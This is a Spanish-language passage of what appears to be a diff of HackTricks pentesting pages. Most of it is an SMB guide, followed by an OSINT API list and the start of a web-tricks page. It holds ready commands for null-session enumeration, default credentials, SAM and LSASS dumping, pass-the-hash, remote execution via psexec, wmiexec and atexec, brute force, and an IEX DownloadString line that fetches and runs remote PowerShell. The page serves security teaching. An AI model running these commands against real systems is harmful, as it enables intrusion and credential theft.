445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
```
### SMB
El **Server Message Block (SMB)** protocolo, que opera en un modelo **cliente-servidor**, está diseñado para regular el **acceso a archivos**, directorios y otros recursos de red como impresoras y enrutadores. Utilizado principalmente dentro de la serie del sistema operativo **Windows**, SMB asegura la compatibilidad hacia atrás, permitiendo que dispositivos con versiones más nuevas del sistema operativo de Microsoft interactúen sin problemas con aquellos que ejecutan versiones más antiguas. Además, el proyecto **Samba** ofrece una solución de software libre, permitiendo la implementación de SMB en sistemas **Linux** y Unix, facilitando así la comunicación entre plataformas a través de SMB.
Los recursos compartidos, que representan **partes arbitrarias del sistema de archivos local**, pueden ser proporcionados por un servidor SMB, haciendo que la jerarquía sea visible para un cliente en parte **independiente** de la estructura real del servidor. Las **Access Control Lists (ACLs)**, que definen los **derechos de acceso**, permiten un **control detallado** sobre los permisos de los usuarios, incluyendo atributos como **`execute`**, **`read`** y **`full access`**. Estos permisos pueden ser asignados a usuarios individuales o grupos, basados en los recursos compartidos, y son distintos de los permisos locales establecidos en el servidor.
### IPC$ Share
El acceso al recurso compartido IPC$ se puede obtener a través de una sesión nula anónima, permitiendo la interacción con servicios expuestos a través de pipes nombrados. La utilidad `enum4linux` es útil para este propósito. Utilizada correctamente, permite la adquisición de:
- Información sobre el sistema operativo
- Detalles sobre el dominio padre
- Una compilación de usuarios y grupos locales
- Información sobre los recursos compartidos SMB disponibles
- La política de seguridad del sistema efectiva
Esta funcionalidad es crítica para los administradores de red y profesionales de seguridad para evaluar la postura de seguridad de los servicios SMB (Server Message Block) en una red. `enum4linux` proporciona una vista completa del entorno SMB del sistema objetivo, lo cual es esencial para identificar vulnerabilidades potenciales y asegurar que los servicios SMB estén debidamente protegidos.
```bash
enum4linux -a target_ip
```
El comando anterior es un ejemplo de cómo `enum4linux` podría usarse para realizar una enumeración completa contra un objetivo especificado por `target_ip`.
## Qué es NTLM
Si no sabes qué es NTLM o quieres saber cómo funciona y cómo abusar de él, encontrarás muy interesante esta página sobre **NTLM** donde se explica **cómo funciona este protocolo y cómo puedes aprovecharlo:**
{{#ref}}
../windows-hardening/ntlm/
{{#endref}}
## **Enumeración de Servidores**
### **Escanear** una red en busca de hosts:
```bash
nbtscan -r 192.168.0.1/24
```
### Versión del servidor SMB
Para buscar posibles exploits para la versión de SMB, es importante saber qué versión se está utilizando. Si esta información no aparece en otras herramientas utilizadas, puedes:
- Usar el módulo auxiliar de **MSF** _**auxiliary/scanner/smb/smb_version**_
- O este script:
```bash
#!/bin/sh
#Author: rewardone
#Description:
# Requires root or enough permissions to use tcpdump
# Will listen for the first 7 packets of a null login
# and grab the SMB Version
#Notes:
# Will sometimes not capture or will print multiple
# lines. May need to run a second time for success.
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" && sleep .1
```
### **Buscar exploit**
```bash
msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb
```
### **Credenciales** Posibles
| **Nombre(s) de usuario** | **Contraseñas comunes** |
| ------------------------ | ----------------------------------------- |
| _(vacío)_ | _(vacío)_ |
| invitado | _(vacío)_ |
| Administrador, admin | _(vacío)_, contraseña, administrador, admin |
| arcserve | arcserve, backup |
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
| backupexec, backup | backupexec, backup, arcada |
| prueba, laboratorio, demo | contraseña, prueba, laboratorio, demo |
### Fuerza Bruta
- [**Fuerza Bruta SMB**](../generic-methodologies-and-resources/brute-force.md#smb)
### Información del Entorno SMB
### Obtener Información
```bash
#Dump interesting information
enum4linux -a [-u "<username>" -p "<passwd>"] <IP>
enum4linux-ng -A [-u "<username>" -p "<passwd>"] <IP>
nmap --script "safe or smb-enum-*" -p 445 <IP>
#Connect to the rpc
rpcclient -U "" -N <IP> #No creds
rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb --pw-nt-hash
rpcclient -U "username%passwd" <IP> #With creds
#You can use querydispinfo and enumdomusers to query user information
#Dump user information
/usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
#Map possible RPC endpoints
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
```
### Enumerar Usuarios, Grupos y Usuarios Conectados
Esta información ya debería estar siendo recopilada de enum4linux y enum4linux-ng.
```bash
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups --loggedon-users [-u <username> -p <password>]
ldapsearch -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "(&(objectclass=user))" -h 10.10.10.10 | grep -i samaccountname: | cut -f 2 -d " "
rpcclient -U "" -N 10.10.10.10
enumdomusers
enumdomgroups
```
### Enumerar usuarios locales
[Impacket](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py)
```bash
lookupsid.py -no-pass hostname.local
```
Oneliner
```bash
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
```
### Metasploit - Enumerar usuarios locales
```bash
use auxiliary/scanner/smb/smb_lookupsid
set rhosts hostname.local
run
```
### **Enumerando LSARPC y SAMR rpcclient**
{{#ref}}
pentesting-smb/rpcclient-enumeration.md
{{#endref}}
### Conexión GUI desde linux
#### En la terminal:
`xdg-open smb://cascade.htb/`
#### En la ventana del explorador de archivos (nautilus, thunar, etc)
`smb://friendzone.htb/general/`
## Enumeración de Carpetas Compartidas
### Listar carpetas compartidas
Siempre se recomienda verificar si puedes acceder a algo; si no tienes credenciales, intenta usar **null** **credentials/guest user**.
```bash
smbclient --no-pass -L //<IP> # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
smbmap -H <IP> [-P <PORT>] #Null user
smbmap -u "username" -p "password" -H <IP> [-P <PORT>] #Creds
smbmap -u "username" -p "<NT>:<LM>" -H <IP> [-P <PORT>] #Pass-the-Hash
smbmap -R -u "username" -p "password" -H <IP> [-P <PORT>] #Recursive list
crackmapexec smb <IP> -u '' -p '' --shares #Null user
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user
```
### **Conectar/Listar una carpeta compartida**
```bash
#Connect using smbclient
smbclient --no-pass //<IP>/<Folder>
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
#Use --no-pass -c 'recurse;ls' to list recursively with smbclient
#List with smbmap, without folder it list everything
smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive list
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
```
### **Enumerar manualmente los recursos compartidos de Windows y conectarse a ellos**
Puede ser posible que estés restringido para mostrar cualquier recurso compartido de la máquina host y cuando intentas listarlos, parece que no hay recursos compartidos a los que conectarse. Por lo tanto, podría valer la pena intentar conectarse manualmente a un recurso compartido. Para enumerar los recursos compartidos manualmente, es posible que desees buscar respuestas como NT_STATUS_ACCESS_DENIED y NT_STATUS_BAD_NETWORK_NAME, al usar una sesión válida (por ejemplo, sesión nula o credenciales válidas). Estos pueden indicar si el recurso compartido existe y no tienes acceso a él o si el recurso compartido no existe en absoluto.
Los nombres de recursos compartidos comunes para objetivos de Windows son
- C$
- D$
- ADMIN$
- IPC$
- PRINT$
- FAX$
- SYSVOL
- NETLOGON
(Nombres de recursos compartidos comunes de _**Network Security Assessment 3rd edition**_)
Puedes intentar conectarte a ellos utilizando el siguiente comando
```bash
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
```
o este script (usando una sesión nula)
```bash
#/bin/bash
ip='<TARGET-IP-HERE>'
shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON')
for share in ${shares[*]}; do
output=$(smbclient -U '%' -N \\\\$ip\\$share -c '')
if [[ -z $output ]]; then
echo "[+] creating a null session is possible for $share" # no output if command goes through, thus assuming that a session was created
else
echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME)
fi
done
```
ejemplos
```bash
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
```
### **Enumerar recursos compartidos de Windows / sin herramientas de terceros**
PowerShell
```bash
# Retrieves the SMB shares on the locale computer.
Get-SmbShare
Get-WmiObject -Class Win32_Share
# Retrieves the SMB shares on a remote computer.
get-smbshare -CimSession "<computer name or session object>"
# Retrieves the connections established from the local SMB client to the SMB servers.
Get-SmbConnection
```
Consola CMD
```shell
# List shares on the local computer
net share
# List shares on a remote computer (including hidden ones)
net view \\<ip> /all
```
MMC Snap-in (gráfico)
```shell
# Shared Folders: Shared Folders > Shares
fsmgmt.msc
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
compmgmt.msc
```
explorer.exe (gráfico), ingrese `\\<ip>\` para ver los recursos compartidos disponibles no ocultos.
### Montar una carpeta compartida
```bash
mount -t cifs //x.x.x.x/share /mnt/share
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
```
### **Descargar archivos**
Lee las secciones anteriores para aprender cómo conectarte con credenciales/Pass-the-Hash.
```bash
#Search a file and download
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
```
```bash
#Download all
smbclient //<IP>/<share>
> mask ""
> recurse
> prompt
> mget *
#Download everything to current directory
```
Comandos:
- mask: especifica la máscara que se utiliza para filtrar los archivos dentro del directorio (por ejemplo, "" para todos los archivos)
- recurse: activa la recursión (predeterminado: apagado)
- prompt: desactiva la solicitud de nombres de archivos (predeterminado: encendido)
- mget: copia todos los archivos que coinciden con la máscara del host a la máquina cliente
(_Información de la página del manual de smbclient_)
### Búsqueda de Carpetas Compartidas en el Dominio
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)
```bash
Snaffler.exe -s -d domain.local -o snaffler.log -v data
```
- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) araña.
- `-M spider_plus [--share <share_name>]`
- `--pattern txt`
```bash
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
```
Especialmente interesantes de los recursos compartidos son los archivos llamados **`Registry.xml`** ya que **pueden contener contraseñas** para usuarios configurados con **autologon** a través de Group Policy. O los archivos **`web.config`** ya que contienen credenciales.
- [**PowerHuntShares**](https://github.com/NetSPI/PowerHuntShares)
- `IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/PowerHuntShares/main/PowerHuntShares.psm1")`
- `Invoke-HuntSMBShares -Threads 100 -OutputDirectory c:\temp\test`
> [!NOTE]
> El **recurso compartido SYSVOL** es **legible** por todos los usuarios autenticados en el dominio. Allí puedes **encontrar** muchos scripts diferentes de batch, VBScript y PowerShell.\
> Debes **revisar** los **scripts** dentro de él ya que podrías **encontrar** información sensible como **contraseñas**.
## Leer el Registro
Es posible que puedas **leer el registro** utilizando algunas credenciales descubiertas. Impacket **`reg.py`** te permite intentar:
```bash
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
```
## Post Explotación
La **configuración predeterminada de** un **servidor Samba** generalmente se encuentra en `/etc/samba/smb.conf` y puede tener algunas **configuraciones peligrosas**:
| **Configuración** | **Descripción** |
| --------------------------- | ------------------------------------------------------------------- |
| `browseable = yes` | ¿Permitir listar los recursos disponibles en el recurso actual? |
| `read only = no` | ¿Prohibir la creación y modificación de archivos? |
| `writable = yes` | ¿Permitir a los usuarios crear y modificar archivos? |
| `guest ok = yes` | ¿Permitir conectarse al servicio sin usar una contraseña? |
| `enable privileges = yes` | ¿Honrar los privilegios asignados a un SID específico? |
| `create mask = 0777` | ¿Qué permisos deben asignarse a los archivos recién creados? |
| `directory mask = 0777` | ¿Qué permisos deben asignarse a los directorios recién creados? |
| `logon script = script.sh` | ¿Qué script necesita ejecutarse en el inicio de sesión del usuario?|
| `magic script = script.sh` | ¿Qué script debe ejecutarse cuando se cierra el script? |
| `magic output = script.out` | ¿Dónde debe almacenarse la salida del script mágico? |
El comando `smbstatus` proporciona información sobre el **servidor** y sobre **quién está conectado**.
## Autenticarse usando Kerberos
Puedes **autenticarse** en **kerberos** utilizando las herramientas **smbclient** y **rpcclient**:
```bash
smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com
```
## **Ejecutar Comandos**
### **crackmapexec**
crackmapexec puede ejecutar comandos **abusando** de cualquiera de **mmcexec, smbexec, atexec, wmiexec**, siendo **wmiexec** el método **predeterminado**. Puedes indicar qué opción prefieres usar con el parámetro `--exec-method`:
```bash
apt-get install crackmapexec
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Execute Powershell
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Excute cmd
crackmapexec smb 192.168.10.11 -u Administrator -H <NTHASH> -x whoami #Pass-the-Hash
# Using --exec-method {mmcexec,smbexec,atexec,wmiexec}
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sam #Dump SAM
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --lsa #Dump LSASS in memmory hashes
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sessions #Get sessions (
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --loggedon-users #Get logged-on users
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --disks #Enumerate the disks
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --users #Enumerate users
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --groups # Enumerate groups
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --local-groups # Enumerate local groups
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --pass-pol #Get password policy
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --rid-brute #RID brute
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
```
### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md)
Ambas opciones **crearán un nuevo servicio** (usando _\pipe\svcctl_ a través de SMB) en la máquina víctima y lo usarán para **ejecutar algo** (**psexec** **subirá** un archivo ejecutable al recurso compartido ADMIN$ y **smbexec** apuntará a **cmd.exe/powershell.exe** y pondrá en los argumentos la carga útil --**técnica sin archivo-**-).\
**Más info** sobre [**psexec** ](../windows-hardening/ntlm/psexec-and-winexec.md)y [**smbexec**](../windows-hardening/ntlm/smbexec.md).\
En **kali** se encuentra en /usr/share/doc/python3-impacket/examples/
```bash
#If no password is provided, it will be prompted
./psexec.py [[domain/]username[:password]@]<targetName or address>
./psexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
```
Usando **parameter**`-k` puedes autenticarte contra **kerberos** en lugar de **NTLM**
### [wmiexec](../windows-hardening/ntlm/wmiexec.md)/dcomexec
Ejecuta sigilosamente un shell de comandos sin tocar el disco o ejecutar un nuevo servicio usando DCOM a través del **puerto 135.**\
En **kali** se encuentra en /usr/share/doc/python3-impacket/examples/
```bash
#If no password is provided, it will be prompted
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
```
Usando **parameter**`-k` puedes autenticarte contra **kerberos** en lugar de **NTLM**.
```bash
#If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
./dcomexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
```
### [AtExec](../windows-hardening/ntlm/atexec.md)
Ejecutar comandos a través del Programador de tareas (usando _\pipe\atsvc_ a través de SMB).\
En **kali** se encuentra en /usr/share/doc/python3-impacket/examples/
```bash
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
```
## Referencia de Impacket
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
## **Fuerza bruta de credenciales de usuarios**
**Esto no es recomendable, podrías bloquear una cuenta si superas el número máximo de intentos permitidos**
```bash
nmap --script smb-brute -p 445 <IP>
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
```
## SMB relay attack
Este ataque utiliza el kit de herramientas Responder para **capturar sesiones de autenticación SMB** en una red interna y **retransmitirlas** a una **máquina objetivo**. Si la **sesión de autenticación es exitosa**, te llevará automáticamente a un **shell** **del sistema**.\
[**Más información sobre este ataque aquí.**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
## SMB-Trap
La biblioteca de Windows URLMon.dll intenta automáticamente autenticarse con el host cuando una página intenta acceder a algún contenido a través de SMB, por ejemplo: `img src="\\10.10.10.10\path\image.jpg"`
Esto ocurre con las funciones:
- URLDownloadToFile
- URLDownloadToCache
- URLOpenStream
- URLOpenBlockingStream
Que son utilizadas por algunos navegadores y herramientas (como Skype)
![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../images/image (93).png>)
### SMBTrap using MitMf
![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../images/image (94).png>)
## NTLM Theft
Similar al SMB Trapping, plantar archivos maliciosos en un sistema objetivo (a través de SMB, por ejemplo) puede provocar un intento de autenticación SMB, permitiendo que el hash NetNTLMv2 sea interceptado con una herramienta como Responder. El hash puede ser descifrado offline o utilizado en un [SMB relay attack](pentesting-smb.md#smb-relay-attack).
[See: ntlm_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
## HackTricks Automatic Commands
```
Protocol_Name: SMB #Protocol Abbreviation if there is one.
Port_Number: 137,138,139 #Comma separated if there is more than one.
Protocol_Description: Server Message Block #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for SMB
Note: |
While Port 139 is known technically as ‘NBT over IP’, Port 445 is ‘SMB over IP’. SMB stands for ‘Server Message Blocks’. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network.
#These are the commands I run in order every time I see an open SMB port
With No Creds
nbtscan {IP}
smbmap -H {IP}
smbmap -H {IP} -u null -p null
smbmap -H {IP} -u guest
smbclient -N -L //{IP}
smbclient -N //{IP}/ --option="client min protocol"=LANMAN1
rpcclient {IP}
rpcclient -U "" {IP}
crackmapexec smb {IP}
crackmapexec smb {IP} --pass-pol -u "" -p ""
crackmapexec smb {IP} --pass-pol -u "guest" -p ""
GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all
GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat
GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/"
getArch.py -target {IP}
With Creds
smbmap -H {IP} -u {Username} -p {Password}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
crackmapexec smb {IP} -u {Username} -p {Password} --shares
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smb/index.html
Entry_2:
Name: Enum4Linux
Description: General SMB Scan
Command: enum4linux -a {IP}
Entry_3:
Name: Nmap SMB Scan 1
Description: SMB Vuln Scan With Nmap
Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}
Entry_4:
Name: Nmap Smb Scan 2
Description: SMB Vuln Scan With Nmap (Less Specific)
Command: nmap --script 'smb-vuln*' -Pn -p 139,445 {IP}
Entry_5:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb
Entry_6:
Name: SMB/SMB2 139/445 consolesless mfs enumeration
Description: SMB/SMB2 139/445 enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'
```
{{#include ../banners/hacktricks-training.md}}

1
src/network-services-pentesting/pentesting-web/gwt-google-web-toolkit.md
View File

@ -1 +0,0 @@
# GWT - Google Web Toolkit

121
src/online-platforms-with-api.md
View File

@ -1,121 +0,0 @@
{{#include ./banners/hacktricks-training.md}}
# [ProjectHoneypot](https://www.projecthoneypot.org/)
Puedes preguntar si una IP está relacionada con actividades sospechosas/maliciosas. Completamente gratis.
# [**BotScout**](http://botscout.com/api.htm)
Verifica si la dirección IP está relacionada con un bot que registra cuentas. También puede verificar nombres de usuario y correos electrónicos. Inicialmente gratis.
# [Hunter](https://hunter.io/)
Encuentra y verifica correos electrónicos.
Algunas solicitudes de API son gratuitas, para más necesitas pagar.
¿Comercial?
# [AlientVault](https://otx.alienvault.com/api)
Encuentra actividades maliciosas relacionadas con IPs y dominios. Gratis.
# [Clearbit](https://dashboard.clearbit.com/)
Encuentra datos personales relacionados con un correo electrónico \(perfiles en otras plataformas\), dominio \(información básica de la empresa, correos y personas que trabajan\) y empresas \(obtén información de la empresa a partir del correo\).
Necesitas pagar para acceder a todas las posibilidades.
¿Comercial?
# [BuiltWith](https://builtwith.com/)
Tecnologías utilizadas por sitios web. Caro...
¿Comercial?
# [Fraudguard](https://fraudguard.io/)
Verifica si un host \(dominio o IP\) está relacionado con actividades sospechosas/maliciosas. Tiene algo de acceso gratuito a la API.
¿Comercial?
# [FortiGuard](https://fortiguard.com/)
Verifica si un host \(dominio o IP\) está relacionado con actividades sospechosas/maliciosas. Tiene algo de acceso gratuito a la API.
# [SpamCop](https://www.spamcop.net/)
Indica si el host está relacionado con actividad de spam. Tiene algo de acceso gratuito a la API.
# [mywot](https://www.mywot.com/)
Basado en opiniones y otros métricas, determina si un dominio está relacionado con información sospechosa/maliciosa.
# [ipinfo](https://ipinfo.io/)
Obtiene información básica de una dirección IP. Puedes probar hasta 100K/mes.
# [securitytrails](https://securitytrails.com/app/account)
Esta plataforma proporciona información sobre dominios y direcciones IP, como dominios dentro de una IP o dentro de un servidor de dominio, dominios propiedad de un correo electrónico \(encuentra dominios relacionados\), historial de IP de dominios \(encuentra el host detrás de CloudFlare\), todos los dominios que utilizan un nameserver....
Tienes algo de acceso gratuito.
# [fullcontact](https://www.fullcontact.com/)
Permite buscar por correo electrónico, dominio o nombre de empresa y recuperar información "personal" relacionada. También puede verificar correos electrónicos. Hay algo de acceso gratuito.
# [RiskIQ](https://www.spiderfoot.net/documentation/)
Mucha información de dominios e IPs incluso en la versión gratuita/comunitaria.
# [\_IntelligenceX](https://intelx.io/)
Busca dominios, IPs y correos electrónicos y obtiene información de dumps. Tiene algo de acceso gratuito.
# [IBM X-Force Exchange](https://exchange.xforce.ibmcloud.com/)
Busca por IP y recopila información relacionada con actividades sospechosas. Hay algo de acceso gratuito.
# [Greynoise](https://viz.greynoise.io/)
Busca por IP o rango de IP y obtiene información sobre IPs que escanean Internet. 15 días de acceso gratuito.
# [Shodan](https://www.shodan.io/)
Obtén información de escaneo de una dirección IP. Tiene algo de acceso gratuito a la API.
# [Censys](https://censys.io/)
Muy similar a shodan.
# [buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/)
Encuentra buckets S3 abiertos buscando por palabra clave.
# [Dehashed](https://www.dehashed.com/data)
Encuentra credenciales filtradas de correos electrónicos e incluso dominios.
¿Comercial?
# [psbdmp](https://psbdmp.ws/)
Busca pastebins donde apareció un correo electrónico. ¿Comercial?
# [emailrep.io](https://emailrep.io/key)
Obtén la reputación de un correo. ¿Comercial?
# [ghostproject](https://ghostproject.fr/)
Obtén contraseñas de correos electrónicos filtrados. ¿Comercial?
# [Binaryedge](https://www.binaryedge.io/)
Obtén información interesante de IPs.
# [haveibeenpwned](https://haveibeenpwned.com/)
Busca por dominio y correo electrónico y verifica si ha sido comprometido y contraseñas. ¿Comercial?
[https://dnsdumpster.com/](https://dnsdumpster.com/)\(¿en una herramienta comercial?\)
[https://www.netcraft.com/](https://www.netcraft.com/) \(¿en una herramienta comercial?\)
[https://www.nmmapper.com/sys/tools/subdomainfinder/](https://www.nmmapper.com/) \(¿en una herramienta comercial?\)
{{#include ./banners/hacktricks-training.md}}

41
src/other-web-tricks.md
View File

@ -1,41 +0,0 @@
# Otros trucos web
{{#include ./banners/hacktricks-training.md}}
### Encabezado Host
Varias veces el back-end confía en el **encabezado Host** para realizar algunas acciones. Por ejemplo, podría usar su valor como el **dominio para enviar un restablecimiento de contraseña**. Así que cuando recibes un correo electrónico con un enlace para restablecer tu contraseña, el dominio que se utiliza es el que pusiste en el encabezado Host. Luego, puedes solicitar el restablecimiento de contraseña de otros usuarios y cambiar el dominio a uno controlado por ti para robar sus códigos de restablecimiento de contraseña. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
> [!WARNING]
> Ten en cuenta que es posible que ni siquiera necesites esperar a que el usuario haga clic en el enlace de restablecimiento de contraseña para obtener el token, ya que incluso **los filtros de spam u otros dispositivos/bots intermedios pueden hacer clic en él para analizarlo**.
### Booleanos de sesión
A veces, cuando completas correctamente alguna verificación, el back-end **simplemente agregará un booleano con el valor "True" a un atributo de seguridad de tu sesión**. Luego, un endpoint diferente sabrá si pasaste esa verificación con éxito.\
Sin embargo, si **pasas la verificación** y tu sesión recibe ese valor "True" en el atributo de seguridad, puedes intentar **acceder a otros recursos** que **dependen del mismo atributo** pero a los que **no deberías tener permisos** para acceder. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).
### Funcionalidad de registro
Intenta registrarte como un usuario ya existente. También intenta usar caracteres equivalentes (puntos, muchos espacios y Unicode).
### Toma de correos electrónicos
Registra un correo electrónico, antes de confirmarlo cambia el correo, luego, si el nuevo correo de confirmación se envía al primer correo registrado, puedes tomar cualquier correo. O si puedes habilitar el segundo correo confirmando el primero, también puedes tomar cualquier cuenta.
### Acceso al servicio interno de atención al cliente de empresas usando Atlassian
{{#ref}}
https://yourcompanyname.atlassian.net/servicedesk/customer/user/login
{{#endref}}
### Método TRACE
